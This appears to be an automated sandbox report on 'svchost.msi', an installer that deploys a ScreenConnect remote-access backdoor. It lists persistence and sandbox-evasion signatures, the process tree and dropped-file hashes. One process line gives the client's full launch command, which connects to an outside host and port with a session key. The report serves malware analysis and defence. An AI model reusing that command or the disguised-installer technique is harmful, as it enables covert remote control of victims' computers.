Analysis

  • max time kernel
    149s
  • max time network
    144s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    27/10/2026, 11:32

General

  • Target
    svchost.msi
  • Size 9.5MB
  • Sample261027-nnec2scw2w
  • SHA256 82425d0578018a3b269c3a80bbbac8bb92d1312cafbdd290afda3af59c7a3a12
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 3 IoCs
  • Drops file in Program Files directory 17 IoCs
  • Drops file in Windows directory 13 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 5 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\svchost.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:4172
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2788
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 856D2B0153CCD3068559256A53C1D3C7 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1644
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSID2DB.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240702328 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:3660
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:1312
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 44943E0BEF8C7D25FAE0AA7F56EE71F4
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:2236
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 13D8293E37B5E721137877ABB548E582 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:4492
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:4792
    • C:\Program Files (x86)\ScreenConnect Client (d86b05dad7d71eb3)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (d86b05dad7d71eb3)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=193.24.211.243&p=8041&s=d829a654-ad8a-40b0-8754-466f3a7e975f&k=BgIAAACkAABSU0ExAAgAAAEAAQDJuIQVPyNxCSqaCLCY4oXc3tNVSSt%2bg2nkYYSL40FHUBwe18f0%2bsiHNFUJ94wBiYFbp7EBSgrkK98Gx3lcFHtaHSzquDkU0vUuiyG0X19zUOSo90r9vE6YyRkLHfS7upjL6IIxhk3GmVya82JJioaj2dPi%2fi5kq84gfU8%2fGbet07mw7ex1hCdj9TSYfvZVP96kxnyf23zEvNtGYSLhdrSUTGTLCVF4TTBZoq1%2f2MCtIiEJ6uMLLy4WJBhHg9VyS%2bQgVpLdcCLNjHweOOcnKZ3EB90e%2fh5TJ7Wjd5OKwj5RAz4O1vDkk9jOtvaPtIqGq5PnR%2fRlvCm5QLQ%2bwFyXAv%2bd"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • Reads the TCP/IP host and domain name from the registry
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:116
      • C:\Program Files (x86)\ScreenConnect Client (d86b05dad7d71eb3)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (d86b05dad7d71eb3)\ScreenConnect.WindowsClient.exe" "RunRole" "2fa22029-410c-478f-938d-eb268506f129" "User"
        2⤵
        • Executes dropped EXE
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:1520
      • C:\Program Files (x86)\ScreenConnect Client (d86b05dad7d71eb3)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (d86b05dad7d71eb3)\ScreenConnect.WindowsClient.exe" "RunRole" "12df95c6-c380-416f-a2b2-b7ef0da29d91" "System"
        2⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Reads the TCP/IP host and domain name from the registry
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:5224

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e590fa7.rbs

          • Path C:\Config.Msi\e590fa7.rbs
          • Size 214KB
          • SHA256 27e252dd4a2921c3cb154b5b6b96cd5071ab21e1778d8c15932207d2451669fe
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (d86b05dad7d71eb3)\Client.en-US.resources
          • Size 48KB
          • SHA256 07d04e6d5376ffc8d81afe8132e0aa6529cccc5ee789bea53d56c1a2da062be4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (d86b05dad7d71eb3)\Client.resources
          • Size 26KB
          • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (d86b05dad7d71eb3)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 ea0a545f40ff491d02172228c1a39ae68344c4340a6094486a47be746952e64f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (d86b05dad7d71eb3)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 fd5818dcdf5fc76316b8f7f96630ec66bb1cb5b5a8127cf300e5842f2c74ffca
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (d86b05dad7d71eb3)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f1b5c000794f046259121c63ed37f9eff0cfe1258588eca6fd85e16d3922767e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (d86b05dad7d71eb3)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (d86b05dad7d71eb3)\ScreenConnect.WindowsClient.exe
          • Size 588KB
          • SHA256 600cf10e27311e60d32722654ef184c031a77b5ae1f8abae8891732710afee31
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (d86b05dad7d71eb3)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (d86b05dad7d71eb3)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 822KB
          • SHA256 7a80e8f654b9ddb15dda59ac404d83dbaf4f6eafafa7ecbefc55506279de553d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (d86b05dad7d71eb3)\app.config
          • Size 508B
          • SHA256 779c074d07a35de132ade25762da935077cf6a7da2c3812cc4f432d5dad73394
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (d86b05dad7d71eb3)\system.config
          • Size 940B
          • SHA256 7f97f3696f72c1b50c5caa072f5362e9157ee184a99050d9ac774fa7ab76eb1a
          • MD5 SHA1 SHA512 TLSH

          MSID2DB.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSID2DB.tmp
          • Size 1.0MB
          • SHA256 0918d8ab2237368a5cec8ce99261fb07a1a1beeda20464c0f91af0fe3349636b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSID2DB.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSID2DB.tmp-\ScreenConnect.Core.dll
          • Size 536KB
          • SHA256 a2e9752de49d18e885cbd61b29905983d44b4bc0379a244bfabdaa3188c01f0a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSID2DB.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 d727a640723d192aa3ece213a173381682041cb28d8bd71781524dbae3ddbf62
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSID2DB.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 84a09ed81afc5ff9a17f81763c044c82a2d9e26f852de528112153ee9ab041d0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI110E.tmp

          • Path C:\Windows\Installer\MSI110E.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          e590fa8.msi

          • Path C:\Windows\Installer\e590fa8.msi
          • Size 9.5MB
          • SHA256 82425d0578018a3b269c3a80bbbac8bb92d1312cafbdd290afda3af59c7a3a12
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 24.1MB
          • SHA256 3b1215876ec3aef53a657125b2e44830ec7a8f193c3a2dffba919b13ca63e894
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {6d444ad0-69b2-494d-97c3-93747f4f6332}_OnDiskSnapshotProp

          • Path \??\Volume{8860bf69-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{6d444ad0-69b2-494d-97c3-93747f4f6332}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 3555818e9783fe9d6ef48e612165211b469eac476e96e331c599d3ddc1dc2c43
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/116-94-0x0000000004C50000-0x0000000004D22000-memory.dmp

          memory/116-92-0x00000000047C0000-0x0000000004801000-memory.dmp

          memory/116-90-0x0000000004A70000-0x0000000004B02000-memory.dmp

          memory/116-89-0x0000000004780000-0x00000000047B6000-memory.dmp

          memory/116-85-0x0000000004730000-0x0000000004780000-memory.dmp

          memory/116-74-0x0000000004390000-0x00000000043A8000-memory.dmp

          memory/1520-114-0x0000000000A50000-0x0000000000AE6000-memory.dmp

          memory/1520-119-0x000000001CBC0000-0x000000001CD46000-memory.dmp

          memory/1520-127-0x000000001D140000-0x000000001D2E9000-memory.dmp

          memory/1520-121-0x0000000002BA0000-0x0000000002BB8000-memory.dmp

          memory/1520-116-0x0000000002CD0000-0x0000000002D06000-memory.dmp

          memory/1520-118-0x000000001BC00000-0x000000001BDAA000-memory.dmp

          memory/1520-117-0x000000001B9C0000-0x000000001BA4C000-memory.dmp

          memory/1520-120-0x0000000002B60000-0x0000000002B78000-memory.dmp

          memory/3660-30-0x00000000050E0000-0x000000000528A000-memory.dmp

          memory/3660-31-0x0000000005840000-0x0000000005DE4000-memory.dmp

          memory/3660-22-0x0000000004E00000-0x0000000004E0A000-memory.dmp

          memory/3660-18-0x0000000002A40000-0x0000000002A6E000-memory.dmp

          memory/3660-26-0x0000000004EA0000-0x0000000004F2C000-memory.dmp

          memory/5224-124-0x000000001D100000-0x000000001D2A9000-memory.dmp